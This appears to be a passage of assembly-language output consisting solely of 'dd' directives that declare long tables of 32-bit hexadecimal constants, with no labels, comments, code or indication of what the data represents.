		dd 0CF239C2Eh, 0A9482000h, 0B7BD3DAh, 67DCCB24h, 8631C20h
		dd 0A3016073h, 0A64D79C2h, 0EC37C724h, 0C0B8FC4Ch, 0F89A038Ch
		dd 0E2E35A0Dh, 0F06050AAh, 82009B89h, 0DCE569A7h, 49F01766h
		dd 2C005CF3h, 526C3FA6h, 18923DBAh, 68C79009h, 0E17801C8h
		dd 22CF0CAEh, 30082D20h, 0C3784BFh, 33813E49h, 2A6E7500h
		dd 80E214F3h, 539C1327h, 48B85882h, 6490010Eh, 0B849B562h
		dd 3FC460C8h, 345C0AC5h, 89D4118Ch, 802E1AC9h, 1D3EE0B4h
		dd 5DF8EC48h, 0CD7FE8Ch, 5FF03EBEh, 0F700CF19h,	7D2C42E3h
		dd 7E00D16h, 0D26C8195h, 27C300DAh, 24FB9B4Bh, 75201224h
		dd 1441447Ch, 9379E601h, 4E1FC08Ah, 4B5DD187h, 34B5E4h
		dd 0B43284F0h, 22286CC1h, 744A014h, 0C0131C67h,	918F4387h
		dd 8FE4331Fh, 0C02088ECh, 9FC97CDAh, 0BB90E80Fh, 0F7461F7Eh
		dd 5C7127F9h, 652120B5h, 410DBD0Ch, 76027857h, 911C17D6h
		dd 0E1961886h, 0BB005D29h, 0BE2CBC31h, 0EAF9BFCh, 0C64F68C4h
		dd 8F0462E0h, 450C59F6h, 85F8070h, 5917601Eh, 0C24884A4h
		dd 0F5209D00h, 0CC2978ECh, 6F710CBAh, 0C07085A5h, 0B794B602h
		dd 0E034E690h, 0E2B3E0h, 0BF3C840Eh, 7E9C8C50h,	23DC710Ah
		dd 0D001A81Eh, 3848B2D6h, 0FE114DC4h, 5D8D0E8Bh, 0E4C17CFEh
		dd 8330466Bh, 39C79440h, 86580FFBh, 5CC18B75h, 631CAC28h
		dd 3057A240h, 6F05534Ch, 0E4EDBCF0h, 8C7AD43Ah,	0D7CC4401h
		dd 4802B1CFh, 43E45864h, 305CE261h, 30002E7Fh, 0FA44D79Bh
		dd 24BF950Eh, 8CCF5B3h,	24A439F9h, 66801D11h, 83BFC2B1h
		dd 0FC581094h, 55B1075Eh, 85E9EE24h, 944C208Ah,	0CB236579h
		dd 15A11C5h, 62798C0Fh,	77F4EB89h, 296DF2B8h, 0D1BC33D2h
		dd 0C01859h, 8CFFB1D6h,	5DE543E6h, 80D58B0h, 0E832B8B7h
		dd 0AD7266F0h, 20F0C0C8h, 0B904A9EFh, 0DD600AC4h, 3FAC8C81h
		dd 20C83C2Dh, 0BBC7B102h, 0E8A4A75Eh, 0E8265C62h, 401CD770h
		dd 93B625Bh, 8072CB63h,	38BC055Ah, 5846CB20h, 54BC745Ch
		dd 703B778Ch, 530800C9h, 5BD64AEBh, 0CB379CB0h,	0C7E9E04Dh
		dd 60CD4400h, 79F713C7h
		dd 0F5B000C6h, 0D9A7C112h, 0BC05D2DCh, 0EE5EE62h, 0C79AC408h
		dd 90857115h, 891D18F8h, 0EE40D64Eh, 0FA0B02C5h, 270AFD7h
		dd 739610h, 39F4B730h, 3CE4C4A2h, 0B3B9AA00h, 0DAB2B0E3h
		dd 950EA91h, 258BF4F1h,	0F01640C0h, 0E88C5354h,	5ABCB314h
		dd 11307BB4h, 22451860h, 0C9980109h, 7F91F643h,	28C42D1h
		dd 97B19033h, 2C5B4EBFh, 5904E7B4h, 0F0AF1DB1h,	0D230BCA5h
		dd 63AB0B51h, 948E2652h, 1B00B1AEh, 9E929C8Fh, 0C7B99601h
		dd 0AA75227h, 0BD168450h, 0FB1001Ah, 2F44D5B5h,	4FF0CBFCh
		dd 7D7C7848h, 9ED4405Ch, 4406EC43h, 3841F4DDh, 608A0B9Ch
		dd 4E676BB4h, 3893CF9h,	91447ED2h, 0CCC8AEF9h, 22A00B4h
		dd 8FD8D076h, 200BF1AAh, 19C6163Fh, 1008B410h, 0D318BF14h
		dd 572300C0h, 0A68624E8h, 686B5840h, 0D4C22Ah, 0E7E67C92h
		dd 6FECCB08h, 38C41A50h, 6744CF73h, 1ECDF6B8h, 40757049h
		dd 682DE722h, 21DF6A6Bh, 0DB80817Dh, 294EF90Ch,	80219470h
		dd 0A8C46286h, 308B713Bh, 9EC01BC8h, 60ECB790h,	0EFE0C8D9h
		dd 0B1F60997h, 98CF1613h, 4C882C8Fh, 0E80053CEh, 94E4C6E1h
		dd 0A5B0CF56h, 0C0B28A09h, 0F058B873h, 298006FEh, 581943F4h
		dd 0CAE92402h, 0A813E3ECh, 4674888Ch, 7E06031Fh, 0F8DE7B2Fh
		dd 9ECD5CD7h, 0A56305A0h, 0C1A0890Dh, 0AAF900FFh, 60C2028Ah
		dd 6A878CE8h, 12292460h, 71F16700h, 8BD73D70h, 0C7D05DEh
		dd 812CAC0Bh, 62FDD444h, 0AC510ECh, 0DE853201h,	0FE610D1Fh
		dd 62E92A61h, 305FF27Ch, 0D8A1B401h, 883185Ch, 92E816CAh
		dd 9C4058C4h, 0F3DECA8Bh, 53CD4009h, 0D46083A4h, 0C975B824h
		dd 94B31E1Eh, 0DD3CB6Ch, 62F7C804h, 0CB6CC097h,	4CA58Dh
		dd 0F2798F32h, 6413CBA4h, 3C04F516h, 71094D1Ch,	51CFB0E5h
		dd 0F4A66887h, 8D9380DEh, 295063DCh, 73484DFCh,	0C001882Ch
		dd 0BF96B162h, 0C2226346h, 0B15AF81Ch, 4734A780h, 121548Fh
		dd 0BA6AFEF3h, 94D1C184h, 3AF052BEh, 1643F14h, 8D7DC012h
		dd 64F25037h, 0C907020Ch, 33C69C3Ah, 0EBDDC40h,	0EA205465h
		dd 0E348E86Eh, 0E14B620Bh, 4CEF9823h, 9CA4213Fh, 0E31FFC1Fh
		dd 34B792C5h, 1296F8A0h, 171E7A6h, 0BCDE0604h, 1E08723Ah
		dd 50007FF3h, 8A76271Bh, 0A4310006h, 0C249F12h,	0B63A96EFh
		dd 3B9280D3h, 17BB9715h, 0B07A55h, 0B21B59A0h, 0D2E97DB1h
		dd 0DA49D400h, 74C2AF14h, 4ED6019Fh, 2E3E1A68h,	2F82F405h
		dd 1D894F00h, 14CBC6EAh, 79907274h, 0C86D0F6Ah,	0E4E13791h
		dd 0C872EB76h, 99002C36h, 1A1D56F7h, 3CD631h, 1BF6F2CFh
		dd 254A8B91h, 0F9E55807h, 0CB860881h, 92960036h, 0D8A4BA9Ah
		dd 9CFE07B2h, 2FAA2700h, 62FA906Fh, 779F005Dh, 0BCC95B30h
		dd 3101D9CCh, 0B27BD4FFh, 29F02FB4h, 0F6CD7C59h, 0C48C338Bh
		dd 64E8A418h, 3F0EE8A7h, 99AC09h, 5E029116h, 0C5E01E65h
		dd 0A40ACFBFh, 2A2007CFh, 0AB5CD86Bh, 35BDB200h, 64CD336Ah
		dd 31EF001Ch, 0DCBE3EAEh, 5B182E5Dh, 8689B559h,	3E4A78F6h
		dd 37800B64h, 8477FB1Dh, 0AE002699h, 0D5BA705h,	1A82711h
		dd 0A98C32F1h, 81B13BC1h, 8261EF1h, 0FDD05938h,	0DD3D0E49h
		dd 9120397Ch, 25BEDAB8h, 19C0157Bh, 5D743A12h, 26F493h
		dd 0A3376AEDh, 0B731E311h, 4288D855h, 88815336h, 0BAA55499h
		dd 0C5100E18h, 23A44014h, 1878E4EDh, 409744FFh,	4700410Ah
		dd 0CEE3E39h, 232B68h, 425633A4h, 0FA91597Eh, 93F90300h
		dd 9B089F09h, 0E4A005Fh, 30AC35FFh, 3E1F6A4Fh, 3D419E48h
		dd 54435141h, 241BD0h, 91C9680Fh, 4B30940h, 51DCC503h
		dd 6D07F3h, 0D6C08618h,	505F6916h, 0DFB38A03h, 0C01749CBh
		dd 600BECCCh, 923D284Eh, 3F6040DAh, 1AAF1B60h, 30BC3BA5h
		dd 1624D280h, 4D91B225h, 544B4200h, 0FF5B4909h,	9A30C345h
		dd 28214053h, 0CCE80066h, 5B484AB3h, 0EF3D0A0Eh, 6478D858h
		dd 0DD0D1ADAh, 1C18D177h, 19DD9C89h, 0C0870BC0h, 0E4675F90h
		dd 0AF1C3901h, 3E504C50h, 0C0E11ED3h, 905280B0h, 50B81CB8h
		dd 0E63E88h, 53450873h,	6CB71A0Bh, 0D3DB9C0Ch, 3D205Dh
		dd 7D1BA801h, 1F24C041h, 618538C0h, 482CE5ACh, 0B1608936h
		dd 3A88959Ch, 6AFDD102h, 60085FE6h, 31120D2Bh, 8C5165F9h
		dd 4108804Dh, 0DE4C8238h, 180CF850h, 18856BEAh,	0F500A2D5h
		dd 953AAFBh, 3024C181h,	897840C8h, 0D02F084h, 0E528FC5Dh
		dd 0ECA0822Eh, 0E8862014h, 98A15CD6h, 3FBA30F9h, 0CDBA1901h
		dd 6AA58782h, 1D381C4h,	5F5AA9B1h, 0BD5CC00Dh, 59F48A79h
		dd 0B5112428h, 0B1F6C401h, 0D7195B8Bh, 0B0C1ACA7h, 0F2A84D00h
		dd 9E77152Ch, 0D71B0242h, 2FF0D6D1h, 0DE23B0A0h, 0AF060BDCh
		dd 4F270EC3h, 0DF1F1D18h, 30B28356h, 640FCE96h,	0FACFDBh
		dd 0D622574Eh, 3198A864h, 42F3001Ch, 9E5AE415h,	5618ECA0h
		dd 0ED2191D6h, 0AB21007Bh, 70B11D05h, 5F74A9A8h, 1133601h
		dd 86F1E243h, 0C5EC840h, 9B9700B3h, 0CE5F16A6h,	4F00A0E5h
		dd 0E889B683h, 0C3174CB0h, 0B7071B19h, 0C68DBBB0h, 2F94F700h
		dd 912E1AF1h, 0C49F49CFh, 0E983D151h, 97861BEDh, 7875D7D8h
		dd 0C9CA4C51h, 358020FEh, 11FF3D00h, 86DCDAC1h,	559CB087h
		dd 2C42A44Fh, 13F0A0E9h, 0C0A75810h, 47E0BFA0h,	6805DC84h
		dd 0CA885BA0h, 724BBF80h, 0D6F2006Eh, 0B782C2FCh, 9A66CB56h
		dd 0B0214408h, 0ED60E59h, 0EC20A4B5h, 0A3C65EEh, 0BCC27400h
		dd 143749B8h, 607DF8EFh, 971C184Ah, 0CE806AD0h,	4B5A00ACh
		dd 0A878F748h, 6D36C932h, 3A61283Bh, 0F10C754Eh, 6F11B025h
		dd 9021710Eh, 4A76A0C2h, 0E87557DAh, 0F021C085h, 0BEBA2186h
		dd 0DC112003h, 0B9EC979Eh, 5889B445h, 0E88C6754h, 4F064C80h
		dd 4E6EB3BDh, 90121C70h, 99EF4070h, 89D71637h, 21BB08CCh
		dd 987FB4h, 0E64D3C2h, 59660F25h, 15389A05h, 0A048F38Bh
		dd 0D6C7C07Bh, 9A46C2FFh, 8E795322h, 6A2AD607h,	0DF001A96h
		dd 3154FE0Eh, 0A9585BA1h, 4EC50156h, 431BE8h, 0D00F5FABh
		dd 0FD2B456Fh, 4C7EEA00h, 75D8A381h, 1E359035h,	0D7E3C7h
		dd 0ECFA30CEh, 7F00829Eh, 0D2972A86h, 7313ABh, 0F6AE5004h
		dd 300DFE46h, 0B0E28E00h, 3E076467h, 56B80040h,	60CEF1D7h
		dd 0BC00AEE6h, 94BE616Fh, 0F8C4926h, 0C90D304Ch, 5EDE0AC0h
		dd 2700DDF1h, 2FFFBE2h,	0CDD7F2h, 0BE73EB13h, 0D6F4F3FAh
		dd 0C59D190Bh, 397F8075h, 673C51h, 62846388h, 1D9C21F2h
		dd 0D4B2CB51h, 4F002CEAh, 0E0C3F5BAh, 78E55E37h, 0FF4A0139h
		dd 6F8D23AAh, 5189FD7h,	1672B841h, 6EF0358Bh, 9A118689h
		dd 9521889Dh, 42A2CA88h, 0BA133631h, 103D11AAh,	40EAE16Dh
		dd 7410439Eh, 0E006396Ch, 0A0F2BD14h, 162D93Ch,	65F86A89h
		dd 20875DB0h, 0A08A9BAEh, 166E8CF5h, 0FA6381C3h, 1F39A625h
		dd 8736D780h, 804B66F8h, 46393FF3h, 0B87CE8F0h,	0B94870C8h
		dd 14DE70AEh, 4D3C0843h, 174B6D11h, 511E04B6h, 9066D7C0h
		dd 0A40A1D3Ah, 0C1570894h, 0E60AB5AFh, 481ACF0h, 781D9E4Dh
		dd 0C1AB14E4h, 0F5DB9DD1h, 5659BC69h, 0A0CFF04h, 0C8104F4Eh
		dd 17F49B00h, 0FE7F14D9h, 763A26A5h, 585C000Dh,	28D23D0Bh
		dd 3BC8040Ch, 845B29C7h, 107AE122h, 21292691h, 22271C2Dh
		dd 2216BE22h, 7F222855h, 2E322CCh, 5067A322h, 447328A9h
		dd 0C9884FA0h, 2D0F664h, 0E408D4D2h, 1DC0760Eh,	820090A1h
		dd 9D32DD25h, 24DECB4Dh
		dd 0BBE794h, 299CFA2Ch,	0B0019CFh, 143D1EC0h, 3AFA935h
		dd 1F5F4168h, 7E02EAAh,	0D00D5ACh, 0E1C96A2Fh, 0D740AEh
		dd 7B481891h, 718EC298h, 34459E00h, 7C7009B5h, 0D730014h
		dd 749549Fh, 0F91EF8ABh, 0A18ED46Fh, 4F38C06Bh,	90C4AA3Fh
		dd 49871C40h, 34CE4019h, 5F8AD22h, 37B12403h, 884A7B2Dh
		dd 0B0AB9D4Ch, 0B04F0015h, 1EA18390h, 0E3503CA2h, 10FE2EE0h
		dd 578F7B0Fh, 259E05Bh,	6085AFFBh, 3C89804Ah, 0CB1C2BBBh
		dd 3C2D6Ah, 0E4A455EEh,	0AC7F99h, 81B48E6Fh, 0AA3D9E17h
		dd 45DE9D00h, 0CC8E5ECh, 4D602429h, 0AE1C80FCh,	6BE81050h
		dd 0B074DF00h, 5761C778h, 0D7AD003Dh, 5DE38E44h, 960ED024h
		dd 20381CCDh, 68BE0210h, 0FFEAC9h, 0FAE06D63h, 0BF85BA34h
		dd 0E50036E4h, 114C94A3h, 0CD4ED4h, 0CC6EF1EAh,	0B968A8AEh
		dd 0F500BCE6h, 0DD9E428Ah, 0E00B8B1Ah, 0C52282Eh, 0E4C600C4h
		dd 97D2BAEh, 7400D4D8h,	0EADDF5FDh, 10771A6h, 26E3A424h
		dd 803F7C78h, 0EF4B08BAh, 905FA2h, 0C664C511h, 9996695Ch
		dd 0C9240400h, 0A8A4B44Eh, 0B6940008h, 7DABD941h, 0FE001164h
		dd 0A628E7D7h, 1F0D89CCh, 46245Fh, 0AAF60674h, 1E00711Fh
		dd 0ED4AD833h, 13B7FAA7h, 40F40441h, 676F0348h,	0BF00AACDh
		dd 93E758Bh, 0E6B9C496h, 4CF4EDBCh, 0F3E60EC6h,	0F1600877h
		dd 92620E31h, 0C238E400h, 0FD5E2948h, 0A5D400E2h, 0E3B95D36h
		dd 4A008928h, 9255D34Bh, 76DDFD9h, 0B73ADEECh, 8BA221B2h
		dd 4AD170B1h, 41897900h, 0BEAB9E92h, 0F1C70003h, 342B12ECh
		dd 0CE14C199h, 79C2EA1h, 0A8D21168h, 0A73EA6D0h, 0EE9B03F1h
		dd 74BD3CD4h, 95D697D0h, 4F555909h, 9C4C078Bh, 0EEE48E20h
		dd 7D67043Bh, 904B547Eh, 50AAE120h, 0A564431Dh,	356BDC00h
		dd 49FE92E9h, 52071C63h, 0BEC13BA7h, 0C6620540h, 0E400F0BFh
		dd 1A029704h, 0A6DC59h,	93D494BAh, 78DBFD0Fh, 8E565E3Fh
		dd 0C4CD80FAh, 648024C8h, 0EC9CB7BAh, 11340031h, 860C4B55h
		dd 91008981h, 830564ABh, 30DDE6Eh, 4CFDE23Ah, 68B9A1FBh
		dd 8623F8F7h, 1770B10Fh, 50A6A084h, 2485C4B2h, 22CF44Dh
		dd 99618C05h, 24B000E0h, 40895700h, 51ABDBAAh, 6AEB0053h
		dd 0DC054592h, 4E00B5CAh, 33F7B62Ah, 1590C47h, 691AE03Fh
		dd 0DCAED011h, 0EB0E7CA2h, 2A2528EEh, 0B7019832h, 0E0487FA8h
		dd 0C4B940D6h, 57F200D7h, 7A7B9388h, 0C203097Eh, 0DEFB4812h
		dd 473BD844h, 0E354E2F2h, 768CF0h, 8B23F65Ah, 0D5AF9C62h
		dd 240AE707h, 0D4501D09h, 24C4A426h, 0E573A40h,	0D94F4605h
		dd 9CC2819Dh, 0DF1BD074h, 2080E3C1h, 7805D34Dh,	0EDB5C961h
		dd 0B2D8E7C0h, 0A74200E9h, 0C44E6270h, 0A44C5CEAh, 63EB1FBFh
		dd 8604499Dh, 0AC80D012h, 1F20720h, 0AEC9CF88h,	0CCA4C716h
		dd 210135CCh, 20593D92h, 0E04194F8h, 22C4E753h,	1A0712Fh
		dd 1EA67EE3h, 0D097BFC4h, 60B2EC25h, 0F401D0Bh,	7DE00055h
		dd 0D8B24Ah, 0EEEA18D5h, 6F4D6B56h, 27C224Ch, 1629F39Bh
		dd 25A96012h, 0A2FA12C2h, 46840008h, 71B4BC7Eh,	0CE936D00h
		dd 3F615BAFh, 4F760004h, 703DC138h, 0E37D0A4Bh,	0DAAA700h
		dd 16D74365h, 1A2E8EFh,	0FDC51FEAh, 0FCEB1873h,	0F4A67997h
		dd 0A1CD1400h, 2AE80CB4h, 1DF0000Fh, 6E5518D4h,	2900D5D1h
		dd 9316D0D8h, 9824CB7h,	0A8474699h, 0B4FAE500h,	0AF00F42Eh
		dd 92B057B1h, 732593EBh, 33690034h, 59CCE93Eh, 0A10039ACh
		dd 0A724AF6Ah, 0F300781h, 7DBA8F10h, 0C849E5h, 0FBC36A86h
		dd 82385553h, 0D5F0800Ah, 417D4A39h, 79F60087h,	8AF71C73h
		dd 0BE0CD82h, 47367800h, 0E14ED003h, 0F2F90E7Eh, 1889A543h
		dd 4100FFF0h, 0EF560B0Eh, 0FF4E553h, 83797AB7h,	9B606100h
		dd 1A0035A2h, 9C275F51h, 0E242085h, 37A44922h, 1EBDAEA0h
		dd 0EB00797Fh, 0ED668887h, 1C08521h, 0BFD2985Fh, 0FED57AE4h
		dd 4AE3F880h, 8B01ECC8h, 2118EA9Ah, 0BFEFF5E9h,	0AF1F1C90h
		dd 87200319h, 136632D2h, 26F24A0h, 99A78500h, 0BB0929E2h
		dd 0A1C03D1Fh, 0A64ADA9Ch, 2A8900E8h, 0B7AD4EA9h, 803F913Bh
		dd 7B2C6B38h, 64B181h, 0B62B802Fh, 5AD0216Ah, 4B013890h
		dd 6836B8FDh, 8EF47CEDh, 0F69DF4Eh, 5EC85C2Ah, 0D5314100h
		dd 5F57C1h, 0CC7E6AEFh,	0D2800A91h, 0AD624702h,	402C1FDAh
		dd 0EA595FEh, 741544ABh, 41B83096h, 0E700A060h,	6EE44394h
		dd 3D4403EAh, 1277BCC3h, 77F732Ch, 694C9Ch, 7A1A80E4h
		dd 2990DF00h, 0CE2AF8BDh, 0C9860016h, 5B35D36Ah, 23009240h
		dd 0C82D7D2Ch, 5878BFEh, 0F68C57C0h, 0F9E50050h, 1798976Dh
		dd 0A966A800h, 0B96BE7FDh, 55030049h, 972D5F21h, 900E4007h
		dd 400A26CBh, 0B1F323C2h, 0C1DE1FBAh, 76744BEh,	31568103h
		dd 0B79C405Bh, 96005244h, 0B637B0C5h, 0F5191EAh, 594F4EFh
		dd 9D760260h, 6F03BDDDh, 0BEB8F0F3h, 0C0DA9A58h, 0EBD96Ch
		dd 88E2245h, 8215FA53h,	9CC28D28h, 901E7808h, 40E940AAh
		dd 6C031DE3h, 7C164AE7h, 0DA46B0A6h, 2D1000F0h,	4C0B5FFh
		dd 62C98ABh, 9700988Fh,	0A9D1AE9Eh, 8ED63EA1h, 0D05EBC0Ch
		dd 0F478C710h, 51404509h, 0EA0B1Bh, 1CAE6352h, 55AB0298h
		dd 8572826h, 0B49AB460h, 1F00697Ah, 5E65A5AAh, 12B143ECh
		dd 1F1E96F7h, 0C0E7DF5Ch, 171C8529h, 0DA00D193h, 0ADCAD88Ah
		dd 0FF2AD32Fh, 265E5880h, 3699B764h, 7A2E6302h,	40C5F0A9h
		dd 0E38B5Ch, 8077D11Fh,	0D26A578Eh, 0D4DAEB00h,	0F6BDD85Ch
		dd 0BB96001Bh, 7B4487A5h, 0FAF08B15h, 0E907A098h, 7330B745h
		dd 2F43EB30h, 61C30054h, 85E57042h, 7D0F1279h, 61FFE6ADh
		dd 78670448h, 8F970h, 9E2B76ACh, 14B49DFEh, 50F8906h, 7CF050DFh
		dd 0AD67000Eh, 0C94D0DD5h, 0ED00C7C2h, 44951793h, 391C0410h
		dd 4683236Dh, 9F8AF0F5h, 0B6824F90h, 0DA1F2FEAh, 0EBC03248h
		dd 0F5319591h, 43B80139h, 1556FABFh, 6A3EC449h,	0CEF3526h
		dd 0AE536B07h, 78DC2099h, 7D406BAh, 0A1954E27h,	11A35144h
		dd 3F3D207Dh, 38F75Ch, 22770821h, 90BFD850h, 1F2B0020h
		dd 0E7BB54EFh, 0E307EE06h, 0DC5B139Ch, 0C8396823h, 0E010DEB3h
		dd 9F3448DAh, 19801F3Fh, 9D5D3EDFh, 18C0DB5Ch, 0AC9478D0h
		dd 4BA05B2h, 3BE32B9h, 0A44CF2C4h, 0CEE06E88h, 0C412744Bh
		dd 0F680C01Dh, 0A2EA1AC3h, 0B9300049h, 8E5DB837h, 99008103h
		dd 481979ACh, 0E8AAF07Bh, 0B5380033h, 0BB3EE9EEh, 49005395h
		dd 0A484889Bh, 1099FD5h, 5CC76780h, 43C4286Ah, 0C1A7D4C8h
		dd 0CDE2CA83h, 0F0438ECh, 0D2EA1933h, 69400807h, 9B616547h
		dd 0C72BF217h, 0C8DA4022h, 800A7EDh, 8D933D56h,	62526BF8h
		dd 1937C06Eh, 0F9CC1C80h, 43B8EBB4h, 0F83D9613h, 0DB8E711Dh
		dd 209DEFB7h, 99724844h, 0A7891CF7h, 0D42840F3h, 9656BF16h
		dd 3F2CDEF6h, 861521DCh, 30722190h, 0AB074FFCh,	4DB25900h
		dd 0BB9F4E01h, 0BD2E0325h, 110F44DDh, 204518F1h, 0DA5F8110h
		dd 210AA2B8h, 858E409h,	0A2006677h, 4703C5E1h, 2171017Bh
		dd 4F1B09F1h, 931C2417h, 7D907217h, 0BB791600h,	146DAE3Dh
		dd 0A03B4326h, 8A168581h, 94501303h, 59578A0h, 79714E87h
		dd 2EF0320Bh, 0C6914CE0h, 0B23F85F4h, 189E804Bh, 26F825DDh
		dd 6B59380Fh, 0FFDBE580h, 0DC7945A9h, 0B1A72A00h, 1283AD8Dh
		dd 8A60C738h, 0F3C900Bh, 1B4B735Ah, 0F422F800h,	24B135F8h
		dd 373D2CA6h
		dd 27238119h, 2BD9801Fh, 37F6581Ah, 0C3B70098h,	206D160Dh
		dd 9C00A97Eh, 51DB2823h, 0E9526Ch, 0A6A7585Dh, 473ADD93h
		dd 4A0054E2h, 995C7F79h, 42A2237h, 0FB179A86h, 2D348CC3h
		dd 8BE20500h, 193667ADh, 0A8654BE1h, 96F63896h,	0C902D02h
		dd 1C6103Bh, 0C9CC25E8h, 4DA4A029h, 0C320FED0h,	72F57C2Ah
		dd 0BD6F09D7h, 0E4202239h, 0B6C8E53h, 0E6D0E017h, 8C85EE00h
		dd 780A4417h, 15D900A9h, 0D305E9FFh, 0A004E61Eh, 2ABE5CC8h
		dd 19371CA0h, 91E45231h, 0A2062DEh, 984FA3F5h, 81DF5F00h
		dd 2A871C71h, 1E80C45h,	183379CAh, 0F9255441h, 11D0200Fh
		dd 4D405C18h, 95F6C38h,	7D0E1016h, 0FD414800h, 1D043A9Eh
		dd 43AB4011h, 0CCAD931Fh, 8001CA34h, 9E2EFFBBh,	0A2C46CECh
		dd 0F028073Ch, 52250BC2h, 2D6074BDh, 4E00891Fh,	4690F650h
		dd 1E8784h, 0AFBEFD09h,	0F285321h, 1D4AAB3Fh, 686691DFh
		dd 90CC4300h, 271FB272h, 248031B6h, 664CE7EAh, 67A0F00h
		dd 0D8240752h, 7ED9F649h, 9E031CE8h, 0FF01FCABh, 24581471h
		dd 2389C027h, 62599600h, 870926Ah, 767B02EAh, 72B54F7Ah
		dd 0B8D44440h, 0D0C4B4A9h, 7800EC01h, 0FAAD2404h, 0BC0E812h
		dd 1351295Dh, 45911813h, 7DB43C94h, 50F82414h, 80B43DA8h
		dd 0E547A733h, 0A80C3Fh, 0E40A5348h, 1076BCA2h,	4A706600h
		dd 179496A9h, 0FCB41B2Ah, 0FA984820h, 4B9821A4h, 6C47FB00h
		dd 8DC95CB5h, 0A22C07E8h, 80CE0363h, 6DCFAD2h, 99E72402h
		dd 0C097F1C8h, 49F9C70h, 186A6F3Ch, 2945C0F0h, 40B21205h
		dd 73004390h, 97761661h, 0B53A99h, 82E608A2h, 988912C8h
		dd 0A11AD005h, 70D404BBh, 73ACB0h, 0D5B50640h, 60CE1169h
		dd 0D96AAF05h, 0F080FB63h, 3D75586h, 3DAEB7BAh,	93ABA443h
		dd 98C53CB8h, 0ABA7CD00h, 0E91ACC50h, 731F474h,	0FE2C398Fh
		dd 19D4008Ah, 7971AB05h, 0EC009E90h, 43590662h,	3D04CBh
		dd 0D7E3CD1h, 72B1A814h, 4878DA90h, 0E50F5400h,	3D8F9675h
		dd 8D5D00AAh, 0D697EE6Dh, 1D0EC3D4h, 402CFB3Ah,	0BFEB3E56h
		dd 28AAF28Eh, 0C11E38h,	7259A4B2h, 6C3FC81Bh, 32D4C900h
		dd 84D56678h, 0BA333FA7h, 39FBC181h, 70908044h,	6826ACB0h
		dd 0BF01CFEBh, 5CE19C7h, 1C0C760h, 7FCFD77Ch, 0F4C41348h
		dd 661C5B3Bh, 0A44E6DF7h, 0E86E00A8h, 0FA9524h,	0CCBAADD4h
		dd 0F67A2508h, 2E1820EAh, 7BF6B778h, 3F47449h, 1CED6BC8h
		dd 0A0C81A42h, 0EB003036h, 75D5A7C1h, 0EFECAACh, 0D86158CFh
		dd 0DC8BCA0h, 0F92A7F52h, 0BD02C4CDh, 4BECE073h, 7C6F610Ch
		dd 59C49070h, 0A50B5C70h, 5820FF26h, 0AB7CD4Bh,	8A8DD4E7h
		dd 43732F01h, 72879D37h, 161E4D0h, 85132A7Bh, 408AC7C8h
		dd 8CB5BE88h, 80017C00h, 0DE47ED74h, 0FC503DE8h, 830AC43Fh
		dd 0F01B14h, 0A15F63EEh, 3600795Eh, 0AC0E51ADh,	0CCEC2Ah
		dd 0B269CA6Ah, 4056E3D1h, 9298CD18h, 0B0EA99h, 64161749h
		dd 2CA1B969h, 63AAFA00h, 0EEE32FCDh, 0C66C0546h, 0D0235899h
		dd 8088A740h, 0DC106898h, 9D00A4F9h, 6AADFDC7h,	4C0047CCh
		dd 60A196D4h, 4889D0C8h, 0AB3C60A5h, 0BD914300h, 6EA81B92h
		dd 733F1D73h, 0B2A980B5h, 2405E22Eh, 26A990C9h,	301368h
		dd 0E950BF4Dh, 0F460063Ch, 0B3C40120h, 35D1001Bh, 0ADF01765h
		dd 1500AE3Ah, 71A7A828h, 362EE7h, 76A0AFC4h, 95084EBDh
		dd 0FBCC6354h, 1401494Fh, 417E2321h, 99D2464h, 0EFCDA92Ch
		dd 98EE80A2h, 140088D3h, 438597CFh, 8C9F484Ch, 0F70EA000h
		dd 0C9CA089Dh, 1EADB032h, 8EDDC02Ah, 3DD90551h,	0B02C0711h
		dd 9C2097A8h, 0CC214037h, 18623314h, 810702AEh,	0C0D89801h
		dd 0CBE378h, 5C0888B3h,	8DF32F20h, 0FD72B04h, 0A580AB06h
		dd 0EFD6F0h, 60F45D5Bh,	4626DA58h, 0B200E60h, 0EBD94BCBh
		dd 0BDE9F0h, 62E4245Ch,	30902C71h, 1CC37503h, 0B8BAF306h
		dd 0F08CF0AEh, 79F0063h, 87973A36h, 980E92A4h, 0A114C33Dh
		dd 0FA5278E6h, 36012C3h, 1DCC0A7h, 8F00A4EFh, 41AA3E6Eh
		dd 1ED561B4h, 32CFA8h, 8019326h, 0EE0E80A1h, 2313B745h
		dd 0A899257Ch, 735DCBh,	0D52E14EDh, 4774BE0Eh, 0B84EEE28h
		dd 7A77F101h, 5E7681B4h, 3EE542E0h, 9E003290h, 719CD1Bh
		dd 46008CA4h, 9289FAA8h, 0A0E2695Ah, 3FEB7B0h, 4ECF0BBAh
		dd 6609E4C0h, 801C4FE9h, 0DDC1FA5Ch, 0B9430218h, 0B6FF4ACEh
		dd 57EED360h, 4E8D6A00h, 0F58F0D6Fh, 0F7580226h, 0DFAB8EA6h
		dd 9DDEC860h, 9256EB00h, 827E037Ch, 9E271AAh, 0A0EF261Bh
		dd 0DD0EB480h, 0B716B1A9h, 0AC2D8369h, 486A51E0h, 9E007028h
		dd 541244B0h, 258CCDFh,	2DBC13B4h, 820994E8h, 402060D3h
		dd 0EFCA66Ch, 0A4B6460Eh, 317D6C20h, 668300CBh,	0A058B936h
		dd 0C65A3E1Eh, 0C1C29000h, 7979A12Dh, 5DAC26E4h, 7E21265h
		dd 6057B578h, 267F1F96h, 0F8E17D00h, 0E6C9C158h, 0D59D0581h
		dd 0C04D2A8Fh, 0D8F54C43h, 0FD00DFF4h, 0B6F50BBh, 7614550Ah
		dd 0AFD330A7h, 93DB388h, 2A4C9C05h, 50C0FFCDh, 0F26A69h
		dd 0CF4298E5h, 18437670h, 3325AE00h, 5E0E86ACh,	0FD450C46h
		dd 72D86212h, 25E0F500h, 0BC5CEF22h, 0A2170A47h, 3F4569Eh
		dd 4D97D813h, 82DB01F4h, 52CCB8AEh, 0F9E0D4h, 104BFDE1h
		dd 0C726048Eh, 8F2CD10Bh, 0BB4980EAh, 0EE771CE9h, 81BF008Bh
		dd 0A301334Ah, 99029821h, 0E242C30Ah, 80F48EDEh, 92541791h
		dd 712B8D9h, 460F1582h,	840EB7CDh, 27BCC0A5h, 13CEAC6h
		dd 144B2C43h, 2A058B1Ch, 0BC00D417h, 7B93F6B3h,	0AE38005Eh
		dd 2C155C05h, 6F03B58Bh, 0A7BA8ACFh, 427004E9h,	0C060A366h
		dd 926923EDh, 290137FAh, 0BE5DBD5Bh, 0F760DC8Dh, 0AA1F035Ch
